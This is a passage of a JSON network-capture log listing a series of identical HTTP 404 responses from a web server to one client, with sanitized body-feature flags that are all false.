            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255378.882168000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "152",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-71f88bfd154670517b93a5d1",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 154,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255385.804600000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "156",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-8aa01c518f4ca7f47f31d295",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 157,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255386.182721000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "159",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-740287919aa838353453d7fa",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 160,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255387.153731000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "162",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-3a9de357c8d6c688f8b4667b",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 163,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255387.457528000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "165",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-8c8e4a31cac79aac362987b4",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 166,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255389.821986000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "168",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-02fead63e7b086d0f6ef00e0",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 169,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255390.128425000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "171",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-80eb95797068e085b8efc409",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 172,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255390.500098000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "174",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-66bf4bd928ba495f103e7839",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 175,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255390.777060000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "177",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-8c0fd937adf5e242057c0bba",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 178,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255391.054674000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "180",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-b9df550294b63f2debe04cc5",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 181,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255391.335474000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "183",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-b18dcc0dcc86b1aa11de3de8",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 185,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255393.210114000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "187",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-9c099d129578c416e4cbf6c5",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 188,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255393.487097000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "190",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-6ac24014dd341ee761e7fc34",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 191,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255393.790177000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "193",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-4f57e8d4f1fde613efbe0f62",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 194,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255394.763097000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "196",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-7f167277f216af6b0ac73b43",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 197,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255395.040097000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "199",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-210d414f5863d6a748e8e0d4",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 200,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255395.317148000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "202",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-935bfffe2a520ea58eafb070",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 203,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255396.209789000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "205",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-d32c81bd219b2bb9f2152fb1",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 206,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255396.615750000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "208",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-08bcbcfb01ed003efdbebbfe",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 209,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255397.610535000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "211",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-7127bf0d54493b110110747c",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 212,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255397.890244000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "214",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-c0d3b80170f3314480823a31",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 216,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255398.680851000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "218",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-21439e7a795225a60a240f91",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 219,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255398.961037000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "221",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-856d02583877b4ad52ef9bcd",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 222,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255399.237982000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "224",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-2802d7e57039d17a638df5fb",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 225,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255399.515001000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "227",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-c9c95c2aa0bff21b664441df",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 228,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255399.792343000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "230",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-bdd1250e80dd152dd9142d19",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 231,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255400.071183000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "233",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-61e826878449350bdec90726",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 235,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255401.768879000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "237",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-b7b738c4b7c99307dae8b614",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 238,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255402.653735000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "240",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-1557eb2c237cbf57da2830a4",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 241,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255402.930982000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "243",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-cfd01f954b73f1167413a24a",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 244,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255403.208012000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "246",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-33cfe24c16bea18fa85ee682",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 247,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255403.485850000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "249",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-cb9b57851c66a544a43899d5",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 250,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255403.763558000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "252",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-f5d358ba6af604bc2c207211",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 253,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255404.040487000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "255",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-a2989d15a29e1cfb27cc05de",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 256,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255405.559998000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "258",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-e8ec12407dd1fe49100e5912",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 259,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255405.836887000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "261",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-ffe311791a784f9e4b8e38b3",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 262,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
